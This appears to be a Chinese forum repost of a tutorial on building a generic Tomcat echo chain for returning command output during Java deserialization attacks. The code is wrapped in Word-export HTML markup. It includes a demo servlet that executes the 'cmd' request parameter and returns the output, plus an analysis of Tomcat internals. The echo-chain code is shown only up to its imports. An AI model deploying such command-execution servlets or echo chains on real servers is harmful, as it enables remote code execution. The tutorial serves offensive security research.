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tomcat通用回显链从0到1

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发表于 2022-3-25 11:55:25 | 显示全部楼层 |阅读模式
原文链接:tomcat通用回显链从0到1

xDemo
  1. <p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  2. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  3. mso-font-kerning:1.0000pt;"><font face="Calibri"></font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  4. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  5. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  6. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  7. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  8. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  9. mso-font-kerning:1.0000pt;"><font face="Calibri">package com.naihe;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  10. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  11. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  12. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  13. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  14. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  15. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.ServletException;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  16. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  17. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  18. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  19. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.annotation.WebServlet;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  20. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  21. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  22. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  23. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServlet;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  24. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  25. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  26. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  27. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServletRequest;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  28. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  29. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  30. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  31. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServletResponse;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  32. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  33. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  34. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  35. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.BufferedInputStream;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  36. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  37. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  38. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  39. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.IOException;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  40. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  41. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  42. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  43. mso-font-kerning:1.0000pt;"><font face="Calibri">import java.io.InputStream;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  44. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  45. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  46. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  47. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  48. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  49. mso-font-kerning:1.0000pt;"><font face="Calibri">@WebServlet("/cmd")</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  50. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  51. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  52. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  53. mso-font-kerning:1.0000pt;"><font face="Calibri">public class tomcat extends HttpServlet {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  54. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  55. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  56. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  57. mso-font-kerning:1.0000pt;">    <font face="Calibri">@Override</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  58. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  59. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  60. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  61. mso-font-kerning:1.0000pt;">    <font face="Calibri">protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  62. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  63. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  64. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  65. mso-font-kerning:1.0000pt;">        <font face="Calibri">String cmd = req.getParameter("cmd");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  66. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  67. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  68. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  69. mso-font-kerning:1.0000pt;">        <font face="Calibri">InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  70. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  71. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  72. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  73. mso-font-kerning:1.0000pt;">        <font face="Calibri">BufferedInputStream bis = new BufferedInputStream(is);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  74. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  75. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  76. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  77. mso-font-kerning:1.0000pt;">        <font face="Calibri">int len;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  78. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  79. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  80. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  81. mso-font-kerning:1.0000pt;">        <font face="Calibri">while ((len = bis.read())!=-1){</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  82. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  83. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  84. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  85. mso-font-kerning:1.0000pt;">            <font face="Calibri">resp.getWriter().write(len);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  86. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  87. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  88. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  89. mso-font-kerning:1.0000pt;">        <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  90. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  91. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  92. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  93. mso-font-kerning:1.0000pt;">    <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  94. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  95. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  96. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  97. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  98. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  99. mso-font-kerning:1.0000pt;">    <font face="Calibri">@Override</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  100. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  101. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  102. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  103. mso-font-kerning:1.0000pt;">    <font face="Calibri">protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  104. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  105. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  106. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  107. mso-font-kerning:1.0000pt;">        <font face="Calibri">this.doGet(req,resp);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  108. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  109. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  110. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  111. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  112. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  113. mso-font-kerning:1.0000pt;">    <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  114. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  115. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  116. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  117. mso-font-kerning:1.0000pt;"><font face="Calibri">}</font></span></p>
复制代码


    当看到这里应该会有人回想,就这?不就是servlet加命令执行么,确实如此,但本文主要讨论的是在反序列化的情况下,如何进行数据回显,因为在反序列化漏洞中无法直接调用HttpServletRequestHttpServletResponse,只能通过反射获取RequestResponse中的内容,上面的代码只是为了方便我们去挖掘和分析RequestResponse的传递过程,分析出一条回显链
    这里的@WebServlet("/cmd")需要开注解路由,web.xml配置如下
  1. <p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  2. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  3. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  4. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  5. mso-font-kerning:1.0000pt;"><font face="Calibri"><?xml version="1.0" encoding="UTF-8"?></font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  6. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  7. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  8. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  9. mso-font-kerning:1.0000pt;"><font face="Calibri"><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  10. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  11. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  12. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  13. mso-font-kerning:1.0000pt;">    <font face="Calibri">xmlns="http://xmlns.jcp.org/xml/ns/javaee"</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  14. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  15. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  16. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  17. mso-font-kerning:1.0000pt;">    <font face="Calibri">xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  18. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  19. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  20. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  21. mso-font-kerning:1.0000pt;">    <font face="Calibri">id="WebApp_ID" metadata-complete="false" version="4.0"></font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  22. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  23. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  24. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  25. mso-font-kerning:1.0000pt;">    <font face="Calibri"><!-- metadata-complete</font><font face="宋体">取值为</font><font face="Calibri">true</font><font face="宋体">,表示关闭注解支持 </font><font face="Calibri">--></font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  26. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  27. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  28. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  29. mso-font-kerning:1.0000pt;">    <font face="Calibri"><!-- metadata-complete</font><font face="宋体">取值为</font><font face="Calibri">false</font><font face="宋体">,表示启用注解支持 </font><font face="Calibri">--></font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  30. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  31. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  32. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  33. mso-font-kerning:1.0000pt;"><font face="Calibri"></web-app></font></span></p>
复制代码


分析流程
    直接再index.jsp上下断点
    可以看到Http11Processor中已经包含了requestresponse,可知道,再前面已经有其他类处理过了requestresponse将其内容传给Http11Processor,因此我们往前看Http11Processor内容从何而来
    AbstractProcessorLight.process
    AbstractProtocol$ConnectionHandler 在这里查看processor内容
    现在我们看是processor是怎么赋值的 AbstractProtocol$ConnectionHandler
    进入register方法 register方法大概就是生成一个RequestInfo对象然后再里面填充内容
    这里我们看一下this.global是什么
    可以看到是一个RequestGroupInfo
    进入RequestGroupInfo,可以看到有个processors,是存储RequestInfo对象得列表,接下来看看RequestInfo是什么
    进入RequestInfo,发现里面有个Request,这是我们想要得那个Request么,跟进去看看
    进入Request,发现居然没有继承HttpServletResponse,那这应该就不是我们要找的Request,那开发者不可能取一个完全没有关系得类名吧,这岂不是让其他程序员天天坐牢啊
    通过网上得资料了解到这个Requests会调用getNote方法返回一个继承至 HttpServletResponseResponse
    这就是我们要的Response
    接下来我们分析setGlobalProcessor
    就是把生成的自己添加到RequestInfo
    RequestInfo
    上面如何获得Request已经分析完了,接下来我们分析如何让java加载上面的数据
    我们只需要找到一个类会被tomcat自动加载 在tomcat源码中可以看到会调用service.addConnector,很明显会用到connector
    进入Connector,可以发现ProtocolHandler里面存储的是Http11NioProtocol
    下面就是一下继承关系
    可以看到最终Http11NioProtocol还是继承自AbstractProtocol
    这样一来就可以通过ProtocolHandler来存放我们之前的信息了 service只是一个接口,而StandardService才是其实现类,所以说service就是StandardService
    因此我们只需要要获取StandardService就行了
    StandardService可以从WebappClassLoaderBase上下文类加载器中间接获取获取
    WebappClassLoaderBase只能获取StandardContext,而回显入口为StandardService,因此我们需要使用ApplicationContext将其封装一遍,在进而获取StandardService
构造方法
    standardServiceService的实现类
总结
回显链
  1. <p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  2. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  3. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  4. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  5. mso-font-kerning:1.0000pt;"><font face="Calibri">package com.naihe;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  6. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  7. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  8. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  9. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  10. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  11. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  12. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  13. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.catalina.connector.Connector;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  14. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  15. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  16. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  17. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.catalina.core.ApplicationContext;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  18. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  19. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  20. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  21. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.catalina.core.StandardContext;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  22. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  23. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  24. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  25. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.catalina.core.StandardService;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  26. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  27. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  28. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  29. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.catalina.loader.WebappClassLoaderBase;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  30. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  31. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  32. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  33. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.coyote.Request;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  34. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  35. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  36. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  37. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.coyote.RequestGroupInfo;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  38. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  39. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  40. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  41. mso-font-kerning:1.0000pt;"><font face="Calibri">import org.apache.coyote.RequestInfo;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  42. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  43. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  44. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  45. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.ServletException;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  46. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  47. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  48. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  49. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.annotation.WebServlet;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  50. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  51. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  52. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  53. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServlet;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  54. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  55. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  56. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  57. mso-font-kerning:1.0000pt;"><font face="Calibri">import javax.servlet.http.HttpServletRequest;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  58. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
